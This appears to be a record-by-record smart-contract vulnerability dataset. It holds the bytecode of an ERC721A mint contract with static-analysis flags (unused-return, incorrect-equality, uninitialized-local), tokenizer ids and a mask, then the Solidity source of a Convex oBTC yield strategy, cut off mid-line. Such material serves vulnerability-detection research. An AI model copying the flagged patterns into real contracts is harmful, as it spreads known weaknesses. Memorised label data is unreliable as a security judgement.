6101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006128cd8473ffffffffffffffffffffffffffffffffffffffff1661316d565b15612a36578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026128f6611f52565b8786866040518563ffffffff1660e01b81526004016129189493929190613b98565b602060405180830381600087803b15801561293257600080fd5b505af192505050801561296357506040513d601f19601f82011682018060405250810190612960919061368b565b60015b6129e6573d8060008114612993576040519150601f19603f3d011682016040523d82523d6000602084013e612998565b606091505b506000815114156129de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129d590613e21565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612a3b565b600190505b949350505050565b6060600e8054612a52906142ef565b80601f0160208091040260200160405190810160405280929190818152602001828054612a7e906142ef565b8015612acb5780601f10612aa057610100808354040283529160200191612acb565b820191906000526020600020905b815481529060010190602001808311612aae57829003601f168201915b5050505050905090565b60606000821415612b1d576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612c7d565b600082905060005b60008214612b4f578080612b3890614352565b915050600a82612b4891906140ee565b9150612b25565b60008167ffffffffffffffff811115612b91577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612bc35781602001600182028036833780820191505090505b5090505b60008514612c7657600182612bdc91906141ad565b9150600a85612beb919061439b565b6030612bf79190614098565b60f81b818381518110612c33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612c6f91906140ee565b9450612bc7565b8093505050505b919050565b50505050565b50505050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612d04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cfb90613e81565b60405180910390fd5b612d0d81611f45565b15612d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d4490613e41565b60405180910390fd5b7f00000000000000000000000000000000000000000000000000000000000003e8831115612db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612da790613f21565b60405180910390fd5b612dbd6000858386612c82565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020016000820160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152505090506040518060400160405280858360000151612eba9190614052565b6fffffffffffffffffffffffffffffffff168152602001858360200151612ee19190614052565b6fffffffffffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555090505060405180604001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506003600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050600082905060005b8581101561315057818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46130f060008884886128ac565b61312f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312690613e21565b60405180910390fd5b818061313a90614352565b925050808061314890614352565b91505061307f565b50806000819055506131656000878588612c88565b505050505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b82805461319c906142ef565b90600052602060002090601f0160209004810192826131be5760008555613205565b82601f106131d757805160ff1916838001178555613205565b82800160010185558215613205579182015b828111156132045782518255916020019190600101906131e9565b5b5090506132129190613250565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b80821115613269576000816000905550600101613251565b5090565b600061328061327b84613f81565b613f5c565b9050808382526020820190508285602086028201111561329f57600080fd5b60005b858110156132cf57816132b58882613355565b8452602084019350602083019250506001810190506132a2565b5050509392505050565b60006132ec6132e784613fad565b613f5c565b90508281526020810184848401111561330457600080fd5b61330f848285614283565b509392505050565b600061332a61332584613fde565b613f5c565b90508281526020810184848401111561334257600080fd5b61334d848285614283565b509392505050565b60008135905061336481614b92565b92915050565b60008135905061337981614ba9565b92915050565b600082601f83011261339057600080fd5b81356133a084826020860161326d565b91505092915050565b6000813590506133b881614bc0565b92915050565b6000813590506133cd81614bd7565b92915050565b6000815190506133e281614bd7565b92915050565b600082601f8301126133f957600080fd5b81356134098482602086016132d9565b91505092915050565b600082601f83011261342357600080fd5b8135613433848260208601613317565b91505092915050565b60008135905061344b81614bee565b92915050565b60006020828403121561346357600080fd5b600061347184828501613355565b91505092915050565b60006020828403121561348c57600080fd5b600061349a8482850161336a565b91505092915050565b600080604083850312156134b657600080fd5b60006134c485828601613355565b92505060206134d585828601613355565b9150509250929050565b6000806000606084860312156134f457600080fd5b600061350286828701613355565b935050602061351386828701613355565b92505060406135248682870161343c565b9150509250925092565b6000806000806080858703121561354457600080fd5b600061355287828801613355565b945050602061356387828801613355565b93505060406135748782880161343c565b925050606085013567ffffffffffffffff81111561359157600080fd5b61359d878288016133e8565b91505092959194509250565b600080604083850312156135bc57600080fd5b60006135ca85828601613355565b92505060206135db858286016133a9565b9150509250929050565b600080604083850312156135f857600080fd5b600061360685828601613355565b92505060206136178582860161343c565b9150509250929050565b60006020828403121561363357600080fd5b600082013567ffffffffffffffff81111561364d57600080fd5b6136598482850161337f565b91505092915050565b60006020828403121561367457600080fd5b6000613682848285016133be565b91505092915050565b60006020828403121561369d57600080fd5b60006136ab848285016133d3565b91505092915050565b6000602082840312156136c657600080fd5b600082013567ffffffffffffffff8111156136e057600080fd5b6136ec84828501613412565b91505092915050565b60006020828403121561370757600080fd5b60006137158482850161343c565b91505092915050565b613727816141e1565b82525050565b61373681614205565b82525050565b60006137478261400f565b6137518185614025565b9350613761818560208601614292565b61376a81614488565b840191505092915050565b60006137808261401a565b61378a8185614036565b935061379a818560208601614292565b6137a381614488565b840191505092915050565b60006137b98261401a565b6137c38185614047565b93506137d3818560208601614292565b80840191505092915050565b60006137ec602283614036565b91506137f782614499565b604082019050919050565b600061380f603183614036565b915061381a826144e8565b604082019050919050565b6000613832602683614036565b915061383d82614537565b604082019050919050565b6000613855602a83614036565b915061386082614586565b604082019050919050565b6000613878602383614036565b9150613883826145d5565b604082019050919050565b600061389b602583614036565b91506138a682614624565b604082019050919050565b60006138be600a83614036565b91506138c982614673565b602082019050919050565b60006138e1603983614036565b91506138ec8261469c565b604082019050919050565b6000613904604d83614036565b915061390f826146eb565b606082019050919050565b6000613927602b83614036565b915061393282614760565b604082019050919050565b600061394a602683614036565b9150613955826147af565b604082019050919050565b600061396d602083614036565b9150613978826147fe565b602082019050919050565b6000613990602f83614036565b915061399b82614827565b604082019050919050565b60006139b3601a83614036565b91506139be82614876565b602082019050919050565b60006139d6603283614036565b91506139e18261489f565b604082019050919050565b60006139f9602283614036565b9150613a04826148ee565b604082019050919050565b6000613a1c603383614036565b9150613a278261493d565b604082019050919050565b6000613a3f601d83614036565b9150613a4a8261498c565b602082019050919050565b6000613a62601283614036565b9150613a6d826149b5565b602082019050919050565b6000613a85602183614036565b9150613a90826149de565b604082019050919050565b6000613aa8602e83614036565b9150613ab382614a2d565b604082019050919050565b6000613acb602f83614036565b9150613ad682614a7c565b604082019050919050565b6000613aee601683614036565b9150613af982614acb565b602082019050919050565b6000613b11602d83614036565b9150613b1c82614af4565b604082019050919050565b6000613b34602283614036565b9150613b3f82614b43565b604082019050919050565b613b5381614279565b82525050565b6000613b6582856137ae565b9150613b7182846137ae565b91508190509392505050565b6000602082019050613b92600083018461371e565b92915050565b6000608082019050613bad600083018761371e565b613bba602083018661371e565b613bc76040830185613b4a565b8181036060830152613bd9818461373c565b905095945050505050565b6000602082019050613bf9600083018461372d565b92915050565b60006020820190508181036000830152613c198184613775565b905092915050565b60006020820190508181036000830152613c3a816137df565b9050919050565b60006020820190508181036000830152613c5a81613802565b9050919050565b60006020820190508181036000830152613c7a81613825565b9050919050565b60006020820190508181036000830152613c9a81613848565b9050919050565b60006020820190508181036000830152613cba8161386b565b9050919050565b60006020820190508181036000830152613cda8161388e565b9050919050565b60006020820190508181036000830152613cfa816138b1565b9050919050565b60006020820190508181036000830152613d1a816138d4565b9050919050565b60006020820190508181036000830152613d3a816138f7565b9050919050565b60006020820190508181036000830152613d5a8161391a565b9050919050565b60006020820190508181036000830152613d7a8161393d565b9050919050565b60006020820190508181036000830152613d9a81613960565b9050919050565b60006020820190508181036000830152613dba81613983565b9050919050565b60006020820190508181036000830152613dda816139a6565b9050919050565b60006020820190508181036000830152613dfa816139c9565b9050919050565b60006020820190508181036000830152613e1a816139ec565b9050919050565b60006020820190508181036000830152613e3a81613a0f565b9050919050565b60006020820190508181036000830152613e5a81613a32565b9050919050565b60006020820190508181036000830152613e7a81613a55565b9050919050565b60006020820190508181036000830152613e9a81613a78565b9050919050565b60006020820190508181036000830152613eba81613a9b565b9050919050565b60006020820190508181036000830152613eda81613abe565b9050919050565b60006020820190508181036000830152613efa81613ae1565b9050919050565b60006020820190508181036000830152613f1a81613b04565b9050919050565b60006020820190508181036000830152613f3a81613b27565b9050919050565b6000602082019050613f566000830184613b4a565b92915050565b6000613f66613f77565b9050613f728282614321565b919050565b6000604051905090565b600067ffffffffffffffff821115613f9c57613f9b614459565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613fc857613fc7614459565b5b613fd182614488565b9050602081019050919050565b600067ffffffffffffffff821115613ff957613ff8614459565b5b61400282614488565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061405d8261423d565b91506140688361423d565b9250826fffffffffffffffffffffffffffffffff0382111561408d5761408c6143cc565b5b828201905092915050565b60006140a382614279565b91506140ae83614279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156140e3576140e26143cc565b5b828201905092915050565b60006140f982614279565b915061410483614279565b925082614114576141136143fb565b5b828204905092915050565b600061412a82614279565b915061413583614279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561416e5761416d6143cc565b5b828202905092915050565b60006141848261423d565b915061418f8361423d565b9250828210156141a2576141a16143cc565b5b828203905092915050565b60006141b882614279565b91506141c383614279565b9250828210156141d6576141d56143cc565b5b828203905092915050565b60006141ec82614259565b9050919050565b60006141fe82614259565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156142b0578082015181840152602081019050614295565b838111156142bf576000848401525b50505050565b60006142d082614279565b915060008214156142e4576142e36143cc565b5b600182039050919050565b6000600282049050600182168061430757607f821691505b6020821081141561431b5761431a61442a565b5b50919050565b61432a82614488565b810181811067ffffffffffffffff8211171561434957614348614459565b5b80604052505050565b600061435d82614279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143905761438f6143cc565b5b600182019050919050565b60006143a682614279565b91506143b183614279565b9250826143c1576143c06143fb565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e73616374696f6e2076616c7565206973206c657373207468616e207460008201527f6865206d696e206d696e74207072696365000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f616c7265616479204f4700000000000000000000000000000000000000000000600082015250565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b7f596f75206e65656420746f2062652077686974656c697374656420746f206d6960008201527f6e7420746f6b656e206f7220796f752068617665207761697420666f7220746860208201527f65207075626c69632073616c6500000000000000000000000000000000000000604082015250565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b7f455243373231413a20746f6b656e20616c7265616479206d696e746564000000600082015250565b7f4d617820737570706c7920726561636865640000000000000000000000000000600082015250565b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b7f7472616e6368652073686f756c64206265203c20313000000000000000000000600082015250565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b7f455243373231413a207175616e7469747920746f206d696e7420746f6f20686960008201527f6768000000000000000000000000000000000000000000000000000000000000602082015250565b614b9b816141e1565b8114614ba657600080fd5b50565b614bb2816141f3565b8114614bbd57600080fd5b50565b614bc981614205565b8114614bd457600080fd5b50565b614be081614211565b8114614beb57600080fd5b50565b614bf781614279565b8114614c0257600080fd5b5056fea264697066735822122049a7240cda4e47c7b63ed4e5a33bf04fd7c94c399731cd3997379f964915c41d64736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 2692, 12376, 2620, 2094, 2549, 2050, 20958, 2050, 24096, 2475, 2278, 2509, 6305, 2581, 2620, 2683, 2475, 18939, 17465, 20958, 2497, 2575, 17788, 2549, 2050, 27531, 16576, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1015, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 2050, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 3206, 29215, 2278, 2003, 9413, 2278, 2581, 17465, 2050, 1010, 2219, 3085, 1063, 1013, 1013, 5377, 2015, 21318, 3372, 17788, 2575, 2270, 5377, 4098, 1035, 4425, 1027, 2184, 1035, 2199, 1025, 1013, 1013, 10857, 21318, 3372, 17788, 2575, 2270, 12927, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,161
0x965060FD4bd2dd8568d206bedf3DDB76628D3456
pragma solidity 0.5.16; import "./base/ConvexStrategyUL.sol"; contract ConvexStrategyOBTCMainnet is ConvexStrategyUL { address public obtc_unused; // just a differentiator for the bytecode constructor() public {} function initializeStrategy( address _storage, address _vault ) public initializer { address underlying = address(0x2fE94ea3d5d4a175184081439753DE15AeF9d614); address rewardPool = address(0xeeeCE77e0bc5e59c77fc408789A9A172A504bD2f); address crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address cvx = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); address bor = address(0xBC19712FEB3a26080eBf6f2F7849b417FdD792CA); address wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); address obtcCurveDeposit = address(0xd5BCf53e2C81e1991570f33Fa881c49EEa570C8D); bytes32 sushiDex = bytes32(0xcb2d20206d906069351c89a2cb7cdbd96c71998717cd5a82e724d955b654f67a); bytes32 uniV3Dex = bytes32(0x8f78a54cb77f4634a5bf3dd452ed6a2e33432c73821be59208661199511cd94f); ConvexStrategyUL.initializeBaseStrategy( _storage, underlying, _vault, rewardPool, //rewardPool 20, // Pool id wbtc, 2, //depositArrayPosition obtcCurveDeposit, 4, //nTokens false //metaPool ); rewardTokens = [crv, cvx, bor]; storedLiquidationPaths[crv][weth] = [crv, weth]; storedLiquidationDexes[crv][weth] = [sushiDex]; storedLiquidationPaths[cvx][weth] = [cvx, weth]; storedLiquidationDexes[cvx][weth] = [sushiDex]; storedLiquidationPaths[bor][weth] = [bor, weth]; storedLiquidationDexes[bor][weth] = [uniV3Dex]; storedLiquidationPaths[weth][wbtc] = [weth, wbtc]; storedLiquidationDexes[weth][wbtc] = [sushiDex]; } function finalizeUpgrade() external onlyGovernance { _finalizeUpgrade(); setHodlVault(multiSigAddr); setHodlRatio(1000); // 10% _setNTokens(4); _setUniversalLiquidatorRegistry(address(0x7882172921E99d590E097cD600554339fBDBc480)); _setUniversalLiquidator(ILiquidatorRegistry(universalLiquidatorRegistry()).universalLiquidator()); address crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address cvx = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); address bor = address(0xBC19712FEB3a26080eBf6f2F7849b417FdD792CA); address wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); address bnt = address(0x1F573D6Fb3F13d689FF844B4cE37794d79a7FF1C); bytes32 sushiDex = bytes32(0xcb2d20206d906069351c89a2cb7cdbd96c71998717cd5a82e724d955b654f67a); bytes32 uniV3Dex = bytes32(0x8f78a54cb77f4634a5bf3dd452ed6a2e33432c73821be59208661199511cd94f); rewardTokens = [crv, cvx, bor]; storedLiquidationPaths[crv][weth] = [crv, weth]; storedLiquidationDexes[crv][weth] = [sushiDex]; storedLiquidationPaths[cvx][weth] = [cvx, weth]; storedLiquidationDexes[cvx][weth] = [sushiDex]; storedLiquidationPaths[bor][weth] = [bor, weth]; storedLiquidationDexes[bor][weth] = [uniV3Dex]; storedLiquidationPaths[weth][wbtc] = [weth, wbtc]; storedLiquidationDexes[weth][wbtc] = [sushiDex]; } } pragma solidity 0.5.16; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../../base/interface/uniswap/IUniswapV2Router02.sol"; import "../../../base/interface/IStrategy.sol"; import "../../../base/interface/IVault.sol"; import "../../../base/upgradability/BaseUpgradeableStrategyUL.sol"; import "../../../base/interface/uniswap/IUniswapV2Pair.sol"; import "../interface/IBooster.sol"; import "../interface/IBaseRewardPool.sol"; import "../../../base/interface/curve/ICurveDeposit_2token.sol"; import "../../../base/interface/curve/ICurveDeposit_3token.sol"; import "../../../base/interface/curve/ICurveDeposit_4token.sol"; import "../../../base/interface/curve/ICurveDeposit_4token_meta.sol"; contract ConvexStrategyUL is IStrategy, BaseUpgradeableStrategyUL { using SafeMath for uint256; using SafeERC20 for IERC20; address public constant booster = address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31); address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address public constant multiSigAddr = 0xF49440C1F012d041802b25A73e5B0B9166a75c02; // additional storage slots (on top of BaseUpgradeableStrategy ones) are defined here bytes32 internal constant _POOLID_SLOT = 0x3fd729bfa2e28b7806b03a6e014729f59477b530f995be4d51defc9dad94810b; bytes32 internal constant _DEPOSIT_TOKEN_SLOT = 0x219270253dbc530471c88a9e7c321b36afda219583431e7b6c386d2d46e70c86; bytes32 internal constant _DEPOSIT_RECEIPT_SLOT = 0x414478d5ad7f54ead8a3dd018bba4f8d686ba5ab5975cd376e0c98f98fb713c5; bytes32 internal constant _DEPOSIT_ARRAY_POSITION_SLOT = 0xb7c50ef998211fff3420379d0bf5b8dfb0cee909d1b7d9e517f311c104675b09; bytes32 internal constant _CURVE_DEPOSIT_SLOT = 0xb306bb7adebd5a22f5e4cdf1efa00bc5f62d4f5554ef9d62c1b16327cd3ab5f9; bytes32 internal constant _HODL_RATIO_SLOT = 0xb487e573671f10704ed229d25cf38dda6d287a35872859d096c0395110a0adb1; bytes32 internal constant _HODL_VAULT_SLOT = 0xc26d330f887c749cb38ae7c37873ff08ac4bba7aec9113c82d48a0cf6cc145f2; bytes32 internal constant _NTOKENS_SLOT = 0xbb60b35bae256d3c1378ff05e8d7bee588cd800739c720a107471dfa218f74c1; bytes32 internal constant _METAPOOL_SLOT = 0x567ad8b67c826974a167f1a361acbef5639a3e7e02e99edbc648a84b0923d5b7; uint256 public constant hodlRatioBase = 10000; address[] public rewardTokens; constructor() public BaseUpgradeableStrategyUL() { assert(_POOLID_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.poolId")) - 1)); assert(_DEPOSIT_TOKEN_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.depositToken")) - 1)); assert(_DEPOSIT_RECEIPT_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.depositReceipt")) - 1)); assert(_DEPOSIT_ARRAY_POSITION_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.depositArrayPosition")) - 1)); assert(_CURVE_DEPOSIT_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.curveDeposit")) - 1)); assert(_HODL_RATIO_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.hodlRatio")) - 1)); assert(_HODL_VAULT_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.hodlVault")) - 1)); assert(_NTOKENS_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.nTokens")) - 1)); assert(_METAPOOL_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.metaPool")) - 1)); } function initializeBaseStrategy( address _storage, address _underlying, address _vault, address _rewardPool, uint256 _poolID, address _depositToken, uint256 _depositArrayPosition, address _curveDeposit, uint256 _nTokens, bool _metaPool ) public initializer { BaseUpgradeableStrategyUL.initialize( _storage, _underlying, _vault, _rewardPool, weth, 300, // profit sharing numerator 1000, // profit sharing denominator true, // sell 0, // sell floor 12 hours, // implementation change delay address(0x7882172921E99d590E097cD600554339fBDBc480) //UL Registry ); address _lpt; address _depositReceipt; (_lpt,_depositReceipt,,,,) = IBooster(booster).poolInfo(_poolID); require(_lpt == underlying(), "Pool Info does not match underlying"); require(_depositArrayPosition < _nTokens, "Deposit array position out of bounds"); require(1 < _nTokens && _nTokens < 5, "_nTokens should be 2, 3 or 4"); _setDepositArrayPosition(_depositArrayPosition); _setPoolId(_poolID); _setDepositToken(_depositToken); _setDepositReceipt(_depositReceipt); _setCurveDeposit(_curveDeposit); _setNTokens(_nTokens); _setMetaPool(_metaPool); setHodlRatio(1000); setHodlVault(multiSigAddr); rewardTokens = new address[](0); } function setHodlRatio(uint256 _value) public onlyGovernance { setUint256(_HODL_RATIO_SLOT, _value); } function hodlRatio() public view returns (uint256) { return getUint256(_HODL_RATIO_SLOT); } function setHodlVault(address _address) public onlyGovernance { setAddress(_HODL_VAULT_SLOT, _address); } function hodlVault() public view returns (address) { return getAddress(_HODL_VAULT_SLOT); } function depositArbCheck() public view returns(bool) { return true; } function rewardPoolBalance() internal view returns (uint256 bal) { bal = IBaseRewardPool(rewardPool()).balanceOf(address(this)); } function exitRewardPool() internal { uint256 stakedBalance = rewardPoolBalance(); if (stakedBalance != 0) { IBaseRewardPool(rewardPool()).withdrawAll(true); } uint256 depositBalance = IERC20(depositReceipt()).balanceOf(address(this)); if (depositBalance != 0) { IBooster(booster).withdrawAll(poolId()); } } function partialWithdrawalRewardPool(uint256 amount) internal { IBaseRewardPool(rewardPool()).withdraw(amount, false); //don't claim rewards at this point uint256 depositBalance = IERC20(depositReceipt()).balanceOf(address(this)); if (depositBalance != 0) { IBooster(booster).withdrawAll(poolId()); } } function emergencyExitRewardPool() internal { uint256 stakedBalance = rewardPoolBalance(); if (stakedBalance != 0) { IBaseRewardPool(rewardPool()).withdrawAll(false); //don't claim rewards } uint256 depositBalance = IERC20(depositReceipt()).balanceOf(address(this)); if (depositBalance != 0) { IBooster(booster).withdrawAll(poolId()); } } function unsalvagableTokens(address token) public view returns (bool) { return (token == rewardToken() || token == underlying() || token == depositReceipt()); } function enterRewardPool() internal { uint256 entireBalance = IERC20(underlying()).balanceOf(address(this)); IERC20(underlying()).safeApprove(booster, 0); IERC20(underlying()).safeApprove(booster, entireBalance); IBooster(booster).depositAll(poolId(), true); //deposit and stake } /* * In case there are some issues discovered about the pool or underlying asset * Governance can exit the pool properly * The function is only used for emergency to exit the pool */ function emergencyExit() public onlyGovernance { emergencyExitRewardPool(); _setPausedInvesting(true); } /* * Resumes the ability to invest into the underlying reward pools */ function continueInvesting() public onlyGovernance { _setPausedInvesting(false); } function addRewardToken(address _token) public onlyGovernance { rewardTokens.push(_token); } // We assume that all the tradings can be done on Sushiswap function _liquidateReward() internal { if (!sell()) { // Profits can be disabled for possible simplified and rapoolId exit emit ProfitsNotCollected(sell(), false); return; } for(uint256 i = 0; i < rewardTokens.length; i++){ address token = rewardTokens[i]; uint256 rewardBalance = IERC20(token).balanceOf(address(this)); if (rewardBalance == 0 || storedLiquidationDexes[token][weth].length < 1) { continue; } uint256 toHodl = rewardBalance.mul(hodlRatio()).div(hodlRatioBase); if (toHodl > 0) { IERC20(token).safeTransfer(hodlVault(), toHodl); rewardBalance = rewardBalance.sub(toHodl); if (rewardBalance == 0) { continue; } } IERC20(token).safeApprove(universalLiquidator(), 0); IERC20(token).safeApprove(universalLiquidator(), rewardBalance); // we can accept 1 as the minimum because this will be called only by a trusted worker ILiquidator(universalLiquidator()).swapTokenOnMultipleDEXes( rewardBalance, 1, address(this), // target storedLiquidationDexes[token][weth], storedLiquidationPaths[token][weth] ); } uint256 rewardBalance = IERC20(weth).balanceOf(address(this)); notifyProfitInRewardToken(rewardBalance); uint256 remainingRewardBalance = IERC20(rewardToken()).balanceOf(address(this)); if (remainingRewardBalance == 0) { return; } IERC20(rewardToken()).safeApprove(universalLiquidator(), 0); IERC20(rewardToken()).safeApprove(universalLiquidator(), remainingRewardBalance); // we can accept 1 as minimum because this is called only by a trusted role ILiquidator(universalLiquidator()).swapTokenOnMultipleDEXes( remainingRewardBalance, 1, address(this), // target storedLiquidationDexes[weth][depositToken()], storedLiquidationPaths[weth][depositToken()] ); uint256 tokenBalance = IERC20(depositToken()).balanceOf(address(this)); if (tokenBalance > 0) { depositCurve(); } } function depositCurve() internal { uint256 tokenBalance = IERC20(depositToken()).balanceOf(address(this)); IERC20(depositToken()).safeApprove(curveDeposit(), 0); IERC20(depositToken()).safeApprove(curveDeposit(), 